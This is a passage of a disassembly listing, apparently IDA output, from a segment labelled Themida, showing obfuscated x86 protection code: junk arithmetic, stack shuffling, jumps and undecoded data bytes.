db 88h
dd 150AE9D9h
db 1, 0
; ---------------------------------------------------------------------------
loc_565596: ; CODE XREF: Themida_:00568CFBj
add esp, 4
jmp loc_564AE2
; ---------------------------------------------------------------------------
dw 0EB81h
dd 71F24A66h, 0C381FB01h, 71F24A66h, 81D3015Fh, 0E5387DEBh
dd 54E95A45h
db 13h, 1, 0
; ---------------------------------------------------------------------------
loc_5655BB: ; CODE XREF: Themida_:0057381Bj
add ebx, 4
sub ebx, 4
xchg ebx, [esp]
pop esp
mov [esp], ecx
jmp loc_573AA2
; ---------------------------------------------------------------------------
db 81h
dd 6E6774C3h, 5BDF0944h, 3857F781h, 0FA018D11h, 0E92434FFh
dd 0AFECh, 81665366h, 780B2404h, 81665E66h, 5B780BEEh
dd 5572BA66h, 5EF23166h, 4EC81h, 1C890000h, 0D3896624h
dd 0FFDF8966h, 1C8B2434h, 4C48324h, 4EC81h, 14890000h
dd 815A5424h, 4C2h, 4B95100h, 1000000h, 148759CAh, 24248B24h
dd 3353E9h, 0BF575200h, 72286157h, 0E00E33BAh, 5FFA315Ah
dd 962CE9h, 8DF38100h, 0E92F5249h, 0FFFFCE49h, 0E1803AB1h
dd 4F87E93Eh, 8F640000h, 0B9D0E902h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_565672: ; CODE XREF: Themida_:00562D65j
and ecx, 40260B91h
dec ecx
push edi
mov edi, 67BE61F0h
and ecx, edi
mov edi, [esp]
add esp, 4
jmp loc_575F85
; ---------------------------------------------------------------------------
loc_56568F: ; CODE XREF: Themida_:00562262j
add eax, 7CD724C1h
jmp loc_563BF7
; ---------------------------------------------------------------------------
loc_565699: ; CODE XREF: Themida_:005739A9j
pop edi
jmp loc_56C90C
; ---------------------------------------------------------------------------
db 5Ch
dd 10777E9h
db 0
; ---------------------------------------------------------------------------
loc_5656A5: ; CODE XREF: Themida_:0057547Aj
sub bl, ah
pop eax
push small 1B1h
mov [esp], cx
push ebx
jmp loc_565E3D
; ---------------------------------------------------------------------------
aSBG db 'Áé',8,'É£',0
db 0C2h, 18h, 57h
aSI1iSkv db 'S»Ø',0Bh,'‰1‰ß[éŠv',0
align 2
dw 0BBBFh
dd 0BA29083Eh, 28912629h, 425FFA01h, 76A7E9h, 0FF505600h
dd 685E2434h, 7C96h, 68240C89h, 25F7h, 9FF0E9h, 0C8B6600h
dd 47E9E924h, 0FF680000h, 8900005Fh, 1FE92434h, 5FFFFFE6h
dd 0E9E68956h, 0FFFFDD2Ch, 4C381h, 0EB810000h, 4, 5C241C87h
dd 83242489h, 348904ECh, 4BE24h, 44810000h, 7F530424h
dd 74012B52h, 6C810424h, 7F530424h, 8B5E2B52h, 0C481241Ch
dd 4, 4EC81h, 0C890000h, 4BE5624h, 0B942800Fh, 412F319Fh
dd 0E95EF131h, 3CA4h
; ---------------------------------------------------------------------------
loc_565770: ; CODE XREF: Themida_:005683EFj
inc ebp
dec ebp
jmp loc_570CDA
; ---------------------------------------------------------------------------
db 8Bh
dd 0D3662424h, 0E99C242Ch, 0FFFFB8BEh, 26D068h, 240C8900h
dd 9F36E956h, 0FF560000h, 5E042474h, 0E924048Fh, 0FFFFFFD7h
dd 2414875Bh, 8B24248Bh, 0C4812414h, 4, 0B9EAE9h, 0A5E78100h
dd 0C12CE81Ch, 83E904EFh
db 0ECh, 2 dup(0)
; ---------------------------------------------------------------------------
loc_5657C3: ; CODE XREF: Themida_:005694D2j
pop ebx
sub ecx, 0EBC10E3Ch
mov ebx, ecx
pop ecx
push ecx
mov ecx, 75145613h
shl ecx, 4
push 22D8h
mov [esp], esi
mov esi, 44E412C7h
xor ecx, esi
mov esi, [esp]
add esp, 4
xor ecx, 74707AC6h
jmp loc_574223
; ---------------------------------------------------------------------------
dw 8B54h
dd 0C481243Ch, 4, 4C781h, 19E90000h, 51FFFFC3h, 0A3EFE9h
dd 3EDC000h, 0E92BED80h, 0DBA1h, 5C24048Fh, 0E9241C89h
dd 0BD9Ch, 0E904E883h, 0D713h, 3E02E95Eh
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_565836: ; CODE XREF: Themida_:005619BCj
pop dword ptr [esp]
pop esp
mov [esp], ebx
jmp loc_56FA47
; ---------------------------------------------------------------------------
aZS1 db '‡Îéœ1',0
dd 240C8B00h, 8B3BE9h
db 0
; ---------------------------------------------------------------------------
loc_565851: ; CODE XREF: Themida_:00575066j
push eax
mov eax, 62D20E2Dh
jmp loc_56C925
; ---------------------------------------------------------------------------
dd 16206FBAh, 0E9424A34h, 0D20h, 659BC681h, 0FE014894h
dd 659BEE81h, 96E94894h
db 0E8h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_56587B: ; CODE XREF: Themida_:00576AEFj
push esp
pop ebx
jmp loc_56B0FB
; ---------------------------------------------------------------------------
loc_565882: ; CODE XREF: Themida_:00570CEAj
sub edi, 27FC3733h
sub edi, 42AB7308h
add edi, ebp
add edi, 42AB7308h
jmp loc_56DC04
; ---------------------------------------------------------------------------
db 28h
dd 0D3EFE9F3h, 30B40000h, 3CE9CC28h
db 0FDh, 2 dup(0)
; ---------------------------------------------------------------------------
loc_5658AB: ; CODE XREF: Themida_:00570D0Fj
inc ebp
dec ebp
and ebp, 36E35C0h
add ebp, 0FEF9DB44h
add edi, ebp
pop ebp
sub edi, 4
xchg edi, [esp]
pop esp
mov [esp], ebp
push eax
mov eax, 5A93245Eh
shr eax, 7
dec eax
push edx
mov edx, 5C6F4198h
add eax, edx
pop edx
or eax, 78F632DFh
add eax, 0D48DB42Fh
push esi
push ebx
jmp loc_56616E
; ---------------------------------------------------------------------------
db 66h, 68h, 0D9h
dd 1C89663Eh, 93B724h, 665B66F8h, 2CCAB252h, 0E9D00042h
dd 0ADD3h
; ---------------------------------------------------------------------------
loc_565908: ; CODE XREF: Themida_:00562E4Dj
pop eax
add esp, 4
push ecx
jmp loc_570865
; ---------------------------------------------------------------------------
loc_565912: ; CODE XREF: Themida_:00561427j
push edi
mov edi, 169470EBh
shl edi, 3
xor edi, 2C801F67h
add edi, 7CF1BFF7h
jmp loc_5665F6
; ---------------------------------------------------------------------------
dd 4C181h, 0E9510000h, 77B3h, 815AD689h, 3226FCC1h, 60F8E961h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_565946: ; CODE XREF: Themida_:00565F9Bj
not edi
not edi
shr edi, 1
xor edi, 448509Ah
jmp loc_568C77
; ---------------------------------------------------------------------------
db 0B9h
dd 3726FADBh, 0A5E9C829h
db 0C0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_565963: ; CODE XREF: Themida_:00576741j
mov [esp], eax
push edi
push 31842D0Fh
pop edi
sub edi, 1
sub esp, 4
mov [esp], ebx
push esi
mov esi, 57D579Fh
mov ebx, 34F97A90h
xor ebx, esi
pop esi
jmp loc_571E5D
; ---------------------------------------------------------------------------
dd 0D0F645B0h, 0E504D0F6h, 0B82CD934h, 0DFE9C100h, 89FFFFE1h
dd 0DB2D5EF7h, 52AF051h, 1D0601A9h, 0D7E9F801h, 33FFFFECh
dd 875C2414h, 2BE9241Ch, 0B5FFFFD8h, 0EBD8E9B8h, 0CB29FFFFh
dd 8AC38159h, 140420Ch, 8AEB81C3h, 0E940420Ch, 10B64h
dd 0FF2434FFh, 78E92434h
db 9Bh, 2 dup(0)
; ---------------------------------------------------------------------------
loc_5659E7: ; CODE XREF: Themida_:0056E0C0j
dec eax
add eax, 0E9EF3FFAh
jmp loc_56C4C4
; ---------------------------------------------------------------------------
dw 1433h
dd 4895C24h, 66736824h, 0C890000h, 59E36824h, 56596A86h
dd 313DE9h, 8BDD8800h, 8950241Ch, 4B951E0h, 1000000h, 0C08359C8h
dd 7276E904h, 4050000h, 2D000000h, 4, 0E9240487h, 8CBBh
dd 4460BF57h, 48E979BCh, 54000085h, 40558h, 0BCE90000h
dd 800000C9h, 0EB80D8C3h, 0E9C300E3h, 0FFFFC586h, 0E9241C89h
dd 98B1h, 10FD68h, 24248900h, 4240481h, 5A000000h, 4C281h
dd 0EA810000h, 4, 31241433h, 14332414h, 8F545C24h, 0BE562404h
dd 4, 4247401h, 24148B5Eh, 4C481h, 0C2810000h, 4, 12FAB951h
dd 0D1F71997h, 0FC00E949h, 0C380FFFFh, 69C38062h, 0EB80E328h
dd 62EB8069h, 0F6EAB551h, 11C580D5h, 7676E9h, 24043300h
dd 0FFF618E9h, 9D56BEFFh, 0EE01EE2Fh, 5D2434FFh, 8192E9h
dd 0B554E900h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_565AEE: ; CODE XREF: Themida_:0056B4A8j
push edx
mov edx, 13522735h
jmp loc_571BF1
; ---------------------------------------------------------------------------
db 81h, 0EEh, 3Ch
dd 5D2F8434h, 1046DE9h, 0F5EF8100h, 2958A04Fh, 0F5C781EFh
dd 6858A04Fh, 4409h, 0B9240C89h, 8C5143h, 5D59CF01h, 0FFC273E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_565B29: ; CODE XREF: Themida_:0057226Dj
xor [esp], ebx
jmp loc_566F4A
; ---------------------------------------------------------------------------
db 89h, 0EEh, 0E9h
dd 0FFFFBD39h, 700BE957h, 0C6810000h, 4, 5C243487h, 690368h
dd 24148900h, 0FFE04FE9h, 0C9815AFFh, 523A39F3h, 82E9D1F7h
db 6, 1, 0
; ---------------------------------------------------------------------------
loc_565B63: ; CODE XREF: Themida_:005623C1j
pop esp
mov [esp], edx
push edi
mov edi, esp
push ebp
push 4
pop ebp
jmp loc_56D1B5
; ---------------------------------------------------------------------------
loc_565B76: ; CODE XREF: Themida_:00571FE2j
mov ecx, esi
mov eax, ecx
push dword ptr [esp]
pop ecx
sub esp, 4
mov [esp], esi
mov esi, esp
push 7014h
mov [esp], ebx
mov ebx, 1C3B6413h
shl ebx, 2
shr ebx, 5
shr ebx, 7
add ebx, 0FFF8F12Bh
sub esi, 46FD0012h
add esi, ebx
push ebp
mov ebp, 46FD0012h
jmp loc_56EC87
; ---------------------------------------------------------------------------
loc_565BB8: ; CODE XREF: Themida_:0057196Bj
pop edi
add esp, 4
push ecx
mov ecx, 14AC708Bh
xor ecx, 276E4E7Ah
and ecx, 28AD06ACh
shl ecx, 4
shl ecx, 1
xor ecx, 4F7596C5h
add edi, ecx
jmp loc_568D95
; ---------------------------------------------------------------------------
db 0FFh
dd 669D1C77h, 4116658h, 4FE99C24h, 81FFFFB4h, 4C7h, 4EF8300h
dd 5C243C87h, 0E9240C89h, 0DBBFh, 95E9EBB4h, 8B0000EFh
dd 0C481242Ch, 4, 8324148Bh, 34FF04C4h, 0E9565D24h, 95A1h
; ---------------------------------------------------------------------------
loc_565C28: ; CODE XREF: Themida_:005704CBj
shr edx, 5
jmp loc_5623A6
; ---------------------------------------------------------------------------
dd 240C8B66h, 8904EC83h, 0E954240Ch, 1F22h
; ---------------------------------------------------------------------------
loc_565C40: ; CODE XREF: Themida_:0056CF61j
mov dl, ch
pop ecx
mov ch, dl
jmp loc_56B1A7
; ---------------------------------------------------------------------------
dw 0DAF7h
dd 0C866E9h, 2DAFB900h, 0CA3174C8h, 0B2BE5659h, 0E94AD210h
dd 1C1Dh, 405E089h, 68000000h, 422Dh, 0BF243C89h, 14B03848h
dd 384CF781h, 0F82914B0h, 2404335Fh, 33240431h, 248B2404h
dd 24048924h, 0E3603CB8h, 72EB8149h, 179FF37h, 6792E9C3h
dd 0B9510000h, 3D5F8EF0h, 3159CE01h, 0C8315EF1h, 83240C8Bh
dd 348904ECh, 0A201E924h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_565CBE: ; CODE XREF: Themida_:005720A8j
mov edx, 7A744362h
inc edx
jmp loc_568139
; ---------------------------------------------------------------------------
db 68h, 0EEh, 6Fh
dd 0DCE90000h, 81000101h, 0BC5DABC5h, 81D50124h, 0BC5DABEDh
dd 0B8505324h, 5BC86AD9h, 87483D35h, 3ABF570Ah, 81111C5Fh
dd 537BA7E7h, 65CF8129h, 81493B64h, 0E10AFFEFh, 0DAC6E94Ah
dd 0EA81FFFFh, 451562Eh, 5557CA29h, 0DD4D99BDh, 5DEF8970h
dd 2F24C781h, 0F0E9796Dh, 5D00001Dh, 81E28952h, 4C2h, 4C28300h
dd 0B069E952h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_565D3A: ; CODE XREF: Themida_:0056AE68j
or esi, 563C0C50h
push ecx
mov ecx, 0F958825Eh
xor esi, ecx
jmp loc_56C735
; ---------------------------------------------------------------------------
loc_565D4D: ; CODE XREF: Themida_:0056A52Bj
add esp, 4
xchg ebp, [esp]
pop esp
jmp loc_563A89
; ---------------------------------------------------------------------------
loc_565D5C: ; CODE XREF: Themida_:0056C824j
mov edi, [esp]
jmp loc_56878B
; ---------------------------------------------------------------------------
dd 16B9E981h, 0BA524CEBh, 1F7227F7h, 11FFEA81h, 0E5E935D8h
dd 57FFFFF0h, 953EF3BFh, 0F7F78122h, 122953Eh, 0C3815FFBh
dd 4, 0DCD4E953h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_565D96: ; CODE XREF: Themida_:0056EB3Bj
push eax
mov ah, 60h
add bh, ah
pop eax
sub al, 18h
add al, bh
sub esp, 4
mov [esp], ecx
push eax
mov ah, 70h
add ah, 38h
or ah, 65h
and ah, 16h
push edx
mov dh, ah
jmp loc_568107
; ---------------------------------------------------------------------------
db 83h, 0ECh, 4
dd 0BA241489h, 5FE91474h, 8B5AD729h, 89502434h, 405E0h
dd 0C0830000h, 24048704h, 2C7815Ch, 33000000h, 23E9243Ch
dd 870000BBh, 0FF5C241Ch, 148B2434h, 0E1895124h, 4C181h
dd 0C1830000h, 240C8704h, 4C4835Ch, 0FFB235E9h, 81F701FFh
dd 751526EFh, 0D23AE96Fh, 0E3C1FFFFh, 0C4CB8104h, 817F3650h
dd 0A964C1CBh, 0BCF3810Eh, 1904344h, 0EA815BDAh, 73245387h
dd 0CA03E9h
db 0
; ---------------------------------------------------------------------------
loc_565E3D: ; CODE XREF: Themida_:005656B1j
mov bh, 0DEh
mov cl, bh
pop ebx
push 4146h
mov [esp], edx
jmp loc_56F7A1
; ---------------------------------------------------------------------------
db 81h
dd 19645CC2h, 0DAF75E5Ah, 4EC81h, 1C890000h, 658EBB24h
dd 814B2F74h, 4F2AB1CBh, 9C75E920h, 74FF0000h, 8F5B0424h
dd 305C2404h, 0E99C2404h, 0AAA4h, 0C675E95Dh, 57530000h
dd 0C3815F5Bh, 73CB2C5Dh, 3A7BEA81h, 0DA2937E7h, 5933E9h
dd 0E3C18100h, 817CD46Fh, 0BA5D17E9h, 0C8015D3Dh, 592434FFh
dd 5704C483h, 7D62E950h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_565EBE: ; CODE XREF: Themida_:00574066j
mov esp, [esp]
push 21ECh
mov [esp], eax
push esp
pop eax
push ebp
sub esp, 4
mov [esp], esi
push 1FAF389Ch
pop esi
xor esi, 180E39C4h
jmp loc_571785
; ---------------------------------------------------------------------------
dw 0E089h
dd 405h, 4BA5200h, 1000000h, 4875AD0h, 51555C24h, 0D05C3168h
dd 0C181594Ch, 0B32FA3D3h, 0C8BCD89h, 4C48124h, 81000000h
dd 6D09A7EBh, 81EB0129h, 6D09A7C3h, 242C8B29h, 0FFD668E9h
dd 148B66FFh, 2C48124h, 28000000h, 44B151E8h, 72FE9h
db 0
; ---------------------------------------------------------------------------
loc_565F3D: ; CODE XREF: Themida_:00562196j
pop eax
add al, 0C3h
add al, 0B6h
sub al, bh
push ebx
mov bh, 0FAh
xor bh, 0FAh
jmp loc_575244
; ---------------------------------------------------------------------------
db 0D1h
dd 94F581E5h, 1573A95h, 0F7015DEFh, 6F9EEF81h, 56E95A86h
db 0FEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_565F67: ; CODE XREF: Themida_:0056ABFDj
sub ebp, 119E5F25h
and eax, ebp
push dword ptr [esp]
mov ebp, [esp]
add esp, 4
push 35E3h
mov [esp], eax
mov eax, esp
jmp loc_566D66
; ---------------------------------------------------------------------------
aVzl4Spq db '^VZ‹4$éPq',0
db 0
; ---------------------------------------------------------------------------
loc_565F95: ; CODE XREF: Themida_:00566438j
xor edi, ebp
pop ebp
shl edi, 8
jmp loc_565946
; ---------------------------------------------------------------------------
dd 5E08950h, 4, 405h, 74FF5000h, 8F580424h, 248B2404h
dd 0FFE83124h, 64E92434h, 8BFFFFFDh, 0C4832434h, 51B95104h
dd 495B1250h, 72CC981h, 0D9F769FBh, 0FFDF47E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_565FDD: ; CODE XREF: Themida_:00564D13j
shr edx, 1
cmp eax, edx
jz loc_570607
push 6149h
jmp loc_56F590
; ---------------------------------------------------------------------------
db 81h, 0C5h, 58h
dd 0E94E9F2Fh, 0FFFFFCD7h, 243C875Ch, 924248Bh, 0E99C2404h
dd 0FFFFB036h, 4C4815Bh, 0E9000000h, 0FFFFFA37h
; ---------------------------------------------------------------------------
loc_566018: ; CODE XREF: Themida_:0056C974j
mov eax, 4
add [esp+4], eax
jmp loc_564260
; ---------------------------------------------------------------------------
loc_566026: ; CODE XREF: Themida_:0057366Dj
pop esi
jmp loc_5619A9
; ---------------------------------------------------------------------------
loc_56602C: ; CODE XREF: Themida_:00567E51j
add esp, 4
push 2660h
jmp loc_56427E
; ---------------------------------------------------------------------------
db 0BDh, 5Bh, 58h
dd 85E97F7Ah, 5A0000FCh, 5C243C87h, 0E99CC885h, 0FFFFAFF2h
dd 6AE94259h, 880000A9h, 58E188D4h, 0C8885053h, 91E9C388h
dd 81000029h, 9D59D9CAh, 3EEA810Bh, 3153BF96h, 0EA015AD5h
dd 0FFC45FE9h, 5EBC1FFh, 97FE9h
db 0
; ---------------------------------------------------------------------------
loc_566085: ; CODE XREF: Themida_:0056A0BCj
add esp, 4
jmp loc_569BC0
; ---------------------------------------------------------------------------
aSF db ']éÌF',0
dw 8B00h
db 1Ch, 24h
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add ebp, 4
jmp loc_56F603
; ---------------------------------------------------------------------------
aXrsk db 'XRéK¶',0
db 0
; ---------------------------------------------------------------------------
loc_5660AB: ; CODE XREF: Themida_:00563CD4j
sub ebx, 8EABC4h
mov esi, ebx
pop ebx
sub ebx, 91F3E76h
jmp loc_569892
; ---------------------------------------------------------------------------
db 5
dd 2D27084Bh, 4055Fh, 4330000h, 0DE924h, 0CF800001h, 690E9D9h
db 1, 0
; ---------------------------------------------------------------------------
loc_5660DA: ; CODE XREF: Themida_:0056D319j
mov [esp], ebx
mov ebx, 61E83196h
xor ebx, 75B327C1h
xor edi, ebx
jmp loc_574201
; ---------------------------------------------------------------------------
db 31h
dd 24348BF2h, 81E68956h, 4C6h, 25FFE900h, 0E2890000h, 4C281h
dd 0BD550000h, 4, 0E95DEA29h, 4B9Ah, 0EB80D9B3h, 0E9D3F64Ah
dd 0E2B4h, 6D29E381h, 0C38115E6h, 3F856A85h, 7E0EEB81h
dd 0F3810116h, 3F111875h, 0C611E9h, 81EF0100h, 2E20CEC7h
dd 242C8B58h, 4C481h, 0D7310000h, 0D731FA31h, 0ACCDE9h
dd 0E3B000h, 0EC8358C3h, 4896602h, 0B03BE924h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_56616E: ; CODE XREF: Themida_:005658E8j
mov ebx, 93927D3h
sub esp, 4
mov [esp], ebp
jmp loc_571006
; ---------------------------------------------------------------------------
db 0B3h, 4Ch, 83h
dd 1C8904ECh, 88D0B324h, 0D8005BD8h, 83241C8Bh, 0C73004C4h
dd 0E0895058h, 405h, 2BE5600h, 29000000h, 4875EF0h, 89665C24h
dd 0B3532404h, 0DD8851A2h, 0CE90E9h, 4EC8300h, 81242489h
dd 42404h, 3C8B0000h, 60EF6824h, 2C890000h, 68E58924h
dd 155Eh, 0AFA0E9h, 0E236800h, 2C890000h, 0A9685124h, 89000034h
dd 0B2BB241Ch, 8904F30Eh, 0BD555BD9h, 4E0E6C13h, 0A791C581h
dd 0E9312CE5h, 0CF92E95Dh, 0E281FFFFh, 6AC92F1Fh, 2C0DEA81h
dd 0D5892A49h, 0D443E95Ah, 0D9F7FFFFh, 1F53F181h, 0C1815F98h
dd 5B5529F8h, 0E981D9F7h, 768D417Eh, 4117C181h, 0CB89CDB9h
dd 0BC685359h, 0E9572636h, 0B386h, 0EC81CF01h, 4, 51241489h
dd 28C16852h, 0F75A2AE5h, 0B23AE9DAh, 0DE01FFFFh, 23C5E9h
dd 7802BD00h, 0D5F7355Ch, 21FFE951h, 0E6880000h, 0EEC18058h
dd 81E9F100h
db 0Fh, 2 dup(0)
; ---------------------------------------------------------------------------
loc_566287: ; CODE XREF: Themida_:00563B14j
mov eax, 416D6868h
sub [esp+4], eax
push dword ptr [esp]
pop eax
jmp loc_568B5A
; ---------------------------------------------------------------------------
loc_566299: ; CODE XREF: Themida_:00568955j
pop edx
not esi
shl esi, 4
push eax
push 1D172F54h
pop eax
push 680Bh
mov [esp], ecx
mov ecx, 2D0F0474h
xchg eax, ecx
push 327h
mov [esp], eax
xchg ecx, [esp]
not ecx
jmp loc_56AFD8
; ---------------------------------------------------------------------------
dw 0C483h
dd 8BC30104h, 1C682404h, 8900000Ch, 5F54243Ch, 0FFC50CE9h
dd 81D1F7FFh, 0ACA4A1C1h, 59CE0912h, 5C1D6857h, 815F70F4h
dd 5212D2C6h, 81FE290Fh, 5212D2EEh, 81465F0Fh, 56B824C6h
dd 0DEB8E919h, 815FFFFFh, 4C4h, 4E88300h, 0E9240487h, 0FFFFDE09h
dd 42474FFh, 24048F5Ah, 707E9h
db 0
; ---------------------------------------------------------------------------
loc_566329: ; CODE XREF: Themida_:0056BF3Cj
mov cl, dl
jmp loc_561561
; ---------------------------------------------------------------------------
loc_566330: ; CODE XREF: Themida_:0056810Bj
mov edx, [esp]
add esp, 4
jmp loc_572553
; ---------------------------------------------------------------------------
db 87h
dd 895C2414h, 5D54242Ch, 0FFF6EFE9h, 2474FFFFh, 3EAE904h
dd 0A2680000h, 5D4C1E03h, 0B63F581h, 0EBE92D83h, 5FFFFD9h
dd 75EC1034h, 5ACBE9h
db 0
; ---------------------------------------------------------------------------
loc_56636D: ; CODE XREF: Themida_:0056B205j
mov [esp], ecx
mov cl, 0F0h
mov bh, cl
pop ecx
jmp loc_56FC41
; ---------------------------------------------------------------------------
dw 515Ch
dd 677B5CB9h, 0F4B8E961h, 74FF0000h, 0C8B0424h, 0A2A6E924h
dd 34FF0000h, 3FCCE924h, 0BD2D0000h, 130FC04h, 4BD05C8h
dd 835930FCh, 48704C0h, 0D420E924h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_5663B2: ; CODE XREF: Themida_:00561459j
push ebx
push dword ptr [esp+4]
push dword ptr [esp]
pop ebx
add esp, 4
pop dword ptr [esp]
pop esp
push 2668h
mov [esp], edx
push ecx
mov ecx, 1F21839h
dec ecx
jmp loc_57437B
; ---------------------------------------------------------------------------
dw 0E981h
dd 7382F9FCh, 22E95851h, 33000036h, 248B240Ch, 0B60F6624h
dd 0EC8353C8h, 242C8904h, 0BF51E9h
db 0
; ---------------------------------------------------------------------------
loc_5663F9: ; CODE XREF: Themida_:00563E6Aj
mov [edi+28h], ch
jmp loc_56E9B3
; ---------------------------------------------------------------------------
db 0FFh, 77h, 1Ch
dd 6658669Dh, 9C240419h, 0FFAC31E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_566411: ; CODE XREF: Themida_:005623D2j
mov edx, [esp]
add esp, 4
jmp loc_56FA51
; ---------------------------------------------------------------------------
loc_56641F: ; CODE XREF: Themida_:0056F0BCj
mov esi, [esp]
add esp, 4
dec edi
push ebp
mov ebp, 6994890h
sub ebp, 1
sub ebp, 0FD5D1FB6h
jmp loc_565F95
; ---------------------------------------------------------------------------
loc_56643D: ; CODE XREF: Themida_:0056DE4Cj
add esi, 4
jmp loc_56FC35
; ---------------------------------------------------------------------------
dd 0E3E9815Dh, 17CD46Fh, 0FA4BE9E9h, 0C481FFFFh, 4, 0F828AB2Ch
dd 0B3535266h, 30B0B61Bh, 0A1B8E9DEh, 0E3890000h, 4C381h
dd 0C3810000h, 4, 0E9241C87h, 0A385h, 104C483h, 24148BD3h
dd 8904EC83h, 8B542414h, 0C4812414h, 4, 0B842E9h, 0E3895300h
dd 4C381h, 0C2680000h, 8900007Dh, 4BD242Ch, 81000000h
dd 6501BDC3h, 81EB0108h, 6501BDEBh, 242C8B08h, 4C481h
dd 1C330000h, 52EDE924h, 0E1C00000h, 0A6E18004h, 0F4AAE950h
dd 5651FFFFh, 0C5AE9h, 0DFB25200h, 5CE9D388h, 89FFFFF0h
dd 0E6892434h, 0A721E9h
db 0
; ---------------------------------------------------------------------------
loc_5664FD: ; CODE XREF: Themida_:00568F7Fj
mov [esp], ebx
push dword ptr [esp]
pop eax
push ecx
push esp
mov ecx, [esp]
jmp loc_561906
; ---------------------------------------------------------------------------
loc_56650E: ; CODE XREF: Themida_:0056F4E2j
sub esi, 2B921057h
xor edi, esi
pop esi
sub ebp, 750038D4h
add ebp, edi
add ebp, 750038D4h
jmp loc_56F009
; ---------------------------------------------------------------------------
dw 0C380h
dd 5BD8089Ah, 0C02E0C0h, 7B252C1h, 9AE9D2F6h, 8100007Eh
dd 0DC04246Ch, 0E934ED0Ah, 0A63Ch, 4C481h, 0EA810000h
dd 6EDD2627h, 6468B951h, 0E98149B4h, 7A3F15D9h, 5B54C981h
dd 0C181659Fh, 2BF50F6Dh, 0C8BCA29h, 0E0895024h, 405h
dd 4C08300h, 0E9240487h, 0C2E6h, 1510CA81h, 0C28171C8h
dd 0A01264h, 148BD529h, 9E9FE924h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_56659E: ; CODE XREF: Themida_:00571F37j
mov ecx, 78F6267Ah
jmp loc_574ACC
; ---------------------------------------------------------------------------
dd 8104C483h, 4ECh, 243C8900h, 51643BBFh, 0C9C78134h, 81CBAE9Bh
dd 812774C5h, 81FD0102h, 812774EDh, 0EC815F02h, 4, 0E9243C89h
dd 0FFFFB80Ah
; ---------------------------------------------------------------------------
loc_5665DC: ; CODE XREF: Themida_:005735F1j
add [esp+4], ebx
pop ebx
pop edx
push ebp
mov ebp, esp
add ebp, 4
sub ebp, 4
jmp loc_568D0E
; ---------------------------------------------------------------------------
loc_5665F6: ; CODE XREF: Themida_:00565927j
add ebx, edi
pop edi
sub ebx, eax
jmp loc_5719CF
; ---------------------------------------------------------------------------
loc_566600: ; CODE XREF: Themida_:00561DE1j
xchg edi, [esp]
pop esp
mov edx, [esp]
add esp, 4
push ecx
push 606Ah
jmp loc_569381
; ---------------------------------------------------------------------------
dd 1C18341h, 0B610E9h, 4EC8100h, 89000000h, 3768242Ch
dd 5D308952h, 25C6C581h, 0E989DCC7h, 0FC7BE9h, 0DF296600h
dd 0D5E95B66h
db 22h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_566647: ; CODE XREF: Themida_:005648FBj
push ebp
push eax
push 6F7710D7h
pop eax
inc eax
sub eax, 1FB1EF52h
mov ebp, eax
pop eax
shl ebp, 2
neg ebp
dec ebp
add ebp, 0AD5991D6h
mov ecx, ebp
pop ebp
jmp loc_56C11F
; ---------------------------------------------------------------------------
dd 0B753C9FEh, 5BF900C2h, 2C59C828h, 0EB62E986h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_56667E: ; CODE XREF: Themida_:0056C797j
movzx cx, al
push cx
pushf
jmp loc_561042
; ---------------------------------------------------------------------------
dw 8158h
dd 4E04246Ch, 167656Dh, 0E9042474h, 8452h, 0C382EB81h
dd 0DF01C15Ch, 5BB535Bh, 0E9168E25h, 0FFFFEFA5h, 3021BB53h
dd 0EBC14341h, 3E3C106h, 14BDF381h, 97E92616h
db 0B9h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_5666C7: ; CODE XREF: Themida_:0056CA78j
add ebp, 4
xchg ebp, [esp]
pop esp
xchg ebx, [esp]
pop esp
dec word ptr [esp]
pushf
jmp loc_561042
; ---------------------------------------------------------------------------
dd 0FF36E959h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5666E2: ; CODE XREF: Themida_:0056AAF5j
xor [esp], ecx
xor ecx, [esp]
xor [esp], ecx
push ecx
jmp loc_56C1AC
; ---------------------------------------------------------------------------
db 50h, 0B8h, 0F2h
dd 0C1613E65h, 35E902E8h, 89000037h, 7DBA2414h, 5278FD53h
dd 0F7241487h, 7DE952D2h, 810000C4h, 0AC4E44E1h, 0A4C9814Dh
dd 5617437Dh, 690FC0BEh, 5EF12975h, 31B0F181h, 70E9E4DDh
dd 66FFFFACh, 0E9240C8Bh, 1DDAh, 24048F5Bh, 6624248Bh
dd 9C2404D3h, 0FFA8F5E9h, 0D1D2F7FFh, 85F281EAh, 894A3840h
dd 0CE015AD1h, 9FE95159h, 66FFFFEFh, 0E924048Bh, 0D45Eh
dd 0EE81D601h, 58153E20h, 8324148Bh, 90E904C4h
db 11h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_56677F: ; CODE XREF: Themida_:0056247Cj
push edx
pop ecx
mov edx, [esp]
jmp loc_56AF5E
; ---------------------------------------------------------------------------
db 50h, 0E9h, 0FFh
dd 0FFFFFFEBh, 37E92434h
db 0BBh, 2 dup(0)
; ---------------------------------------------------------------------------
loc_566797: ; CODE XREF: Themida_:0056AFDCj
xchg eax, ecx
sub ecx, 0FFFFFFFFh
push edx
mov edx, 9CB709E1h
jmp loc_569CEC
; ---------------------------------------------------------------------------
loc_5667A9: ; CODE XREF: Themida_:00569CCBj
pop eax
push ebp
jmp loc_562EC1
; ---------------------------------------------------------------------------
dd 1474C781h, 0C4685FE9h, 89000050h, 0D1BD242Ch, 813CEC0Dh
